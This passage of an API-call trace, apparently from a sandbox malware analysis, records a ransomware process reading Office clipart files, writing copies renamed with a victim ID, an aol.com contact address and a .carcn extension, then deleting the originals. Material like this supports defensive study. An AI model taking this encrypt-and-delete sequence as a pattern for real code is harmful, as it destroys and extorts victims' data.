Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.801] lstrlenW (lpString=".1cd") returned 4 [0297.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.801] lstrlenW (lpString=".jpg") returned 4 [0297.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.801] lstrlenW (lpString=".doc") returned 4 [0297.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString=".docx") returned 5 [0297.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.801] lstrlenW (lpString=".pdf") returned 4 [0297.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString=".xls") returned 4 [0297.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.802] lstrlenW (lpString=".xlsx") returned 5 [0297.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.802] lstrlenW (lpString=".ppt") returned 4 [0297.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.802] lstrlenW (lpString=".zip") returned 4 [0297.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.802] lstrlenW (lpString=".rar") returned 4 [0297.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.802] lstrlenW (lpString=".bz2") returned 4 [0297.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.802] lstrlenW (lpString=".7z") returned 3 [0297.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.802] lstrlenW (lpString=".dbf") returned 4 [0297.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.802] lstrlenW (lpString=".1cd") returned 4 [0297.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.802] lstrlenW (lpString=".jpg") returned 4 [0297.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.803] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.803] lstrlenW (lpString="BL00525_.WMF") returned 12 [0297.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.803] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=9590) returned 1 [0297.803] CloseHandle (hObject=0x36c) returned 1 [0297.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0297.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0297.867] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.867] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.868] GetLastError () returned 0x0 [0297.868] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2576, lpOverlapped=0x0) returned 1 [0297.869] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2580, lpOverlapped=0x0) returned 1 [0297.870] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.870] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.870] SetEndOfFile (hFile=0x36c) returned 1 [0297.871] CloseHandle (hObject=0x36c) returned 1 [0297.871] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.871] SetEndOfFile (hFile=0x380) returned 1 [0297.872] CloseHandle (hObject=0x380) returned 1 [0297.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0297.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString=".doc") returned 4 [0297.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString=".docx") returned 5 [0297.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.873] lstrlenW (lpString=".pdf") returned 4 [0297.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString=".xls") returned 4 [0297.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.873] lstrlenW (lpString=".xlsx") returned 5 [0297.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.873] lstrlenW (lpString=".ppt") returned 4 [0297.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString=".zip") returned 4 [0297.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.873] lstrlenW (lpString=".rar") returned 4 [0297.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString=".bz2") returned 4 [0297.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString=".7z") returned 3 [0297.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString=".dbf") returned 4 [0297.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString=".1cd") returned 4 [0297.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.873] lstrlenW (lpString=".jpg") returned 4 [0297.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString=".doc") returned 4 [0297.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString=".docx") returned 5 [0297.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.874] lstrlenW (lpString=".pdf") returned 4 [0297.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString=".xls") returned 4 [0297.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.874] lstrlenW (lpString=".xlsx") returned 5 [0297.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.874] lstrlenW (lpString=".ppt") returned 4 [0297.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString=".zip") returned 4 [0297.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.874] lstrlenW (lpString=".rar") returned 4 [0297.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString=".bz2") returned 4 [0297.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString=".7z") returned 3 [0297.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString=".dbf") returned 4 [0297.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString=".1cd") returned 4 [0297.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0297.874] lstrlenW (lpString=".jpg") returned 4 [0297.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.875] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.875] lstrlenW (lpString="BL00526_.WMF") returned 12 [0297.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0297.875] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=27552) returned 1 [0297.875] CloseHandle (hObject=0x380) returned 1 [0297.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0297.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0297.876] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.876] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.877] GetLastError () returned 0x0 [0297.877] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0298.481] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0298.482] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.482] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.482] SetEndOfFile (hFile=0x36c) returned 1 [0298.482] CloseHandle (hObject=0x36c) returned 1 [0298.485] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.485] SetEndOfFile (hFile=0x380) returned 1 [0298.486] CloseHandle (hObject=0x380) returned 1 [0298.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0298.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.487] lstrlenW (lpString=".doc") returned 4 [0298.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.487] lstrlenW (lpString=".docx") returned 5 [0298.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.487] lstrlenW (lpString=".pdf") returned 4 [0298.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString=".xls") returned 4 [0298.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.488] lstrlenW (lpString=".xlsx") returned 5 [0298.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.488] lstrlenW (lpString=".ppt") returned 4 [0298.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString=".zip") returned 4 [0298.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.488] lstrlenW (lpString=".rar") returned 4 [0298.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString=".bz2") returned 4 [0298.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString=".7z") returned 3 [0298.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString=".dbf") returned 4 [0298.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString=".1cd") returned 4 [0298.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString=".jpg") returned 4 [0298.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.488] lstrlenW (lpString=".doc") returned 4 [0298.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.488] lstrlenW (lpString=".docx") returned 5 [0298.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.489] lstrlenW (lpString=".pdf") returned 4 [0298.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString=".xls") returned 4 [0298.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.489] lstrlenW (lpString=".xlsx") returned 5 [0298.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.489] lstrlenW (lpString=".ppt") returned 4 [0298.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.489] lstrlenW (lpString=".zip") returned 4 [0298.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.489] lstrlenW (lpString=".rar") returned 4 [0298.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString=".bz2") returned 4 [0298.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString=".7z") returned 3 [0298.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.489] lstrlenW (lpString=".dbf") returned 4 [0298.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.489] lstrlenW (lpString=".1cd") returned 4 [0298.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0298.489] lstrlenW (lpString=".jpg") returned 4 [0298.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.490] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.490] lstrlenW (lpString="BS00135_.WMF") returned 12 [0298.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.490] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1044) returned 1 [0298.490] CloseHandle (hObject=0x380) returned 1 [0298.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0298.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.491] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.491] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.491] GetLastError () returned 0x0 [0298.492] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x414, lpOverlapped=0x0) returned 1 [0298.492] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x420, lpOverlapped=0x0) returned 1 [0298.493] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.609] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.609] SetEndOfFile (hFile=0x36c) returned 1 [0298.609] CloseHandle (hObject=0x36c) returned 1 [0298.609] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.609] SetEndOfFile (hFile=0x380) returned 1 [0298.610] CloseHandle (hObject=0x380) returned 1 [0298.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0298.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.612] lstrlenW (lpString=".doc") returned 4 [0298.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString=".docx") returned 5 [0298.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.612] lstrlenW (lpString=".pdf") returned 4 [0298.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString=".xls") returned 4 [0298.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.612] lstrlenW (lpString=".xlsx") returned 5 [0298.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.612] lstrlenW (lpString=".ppt") returned 4 [0298.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.612] lstrlenW (lpString=".zip") returned 4 [0298.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.612] lstrlenW (lpString=".rar") returned 4 [0298.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString=".bz2") returned 4 [0298.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString=".7z") returned 3 [0298.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.612] lstrlenW (lpString=".dbf") returned 4 [0298.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.613] lstrlenW (lpString=".1cd") returned 4 [0298.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.613] lstrlenW (lpString=".jpg") returned 4 [0298.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 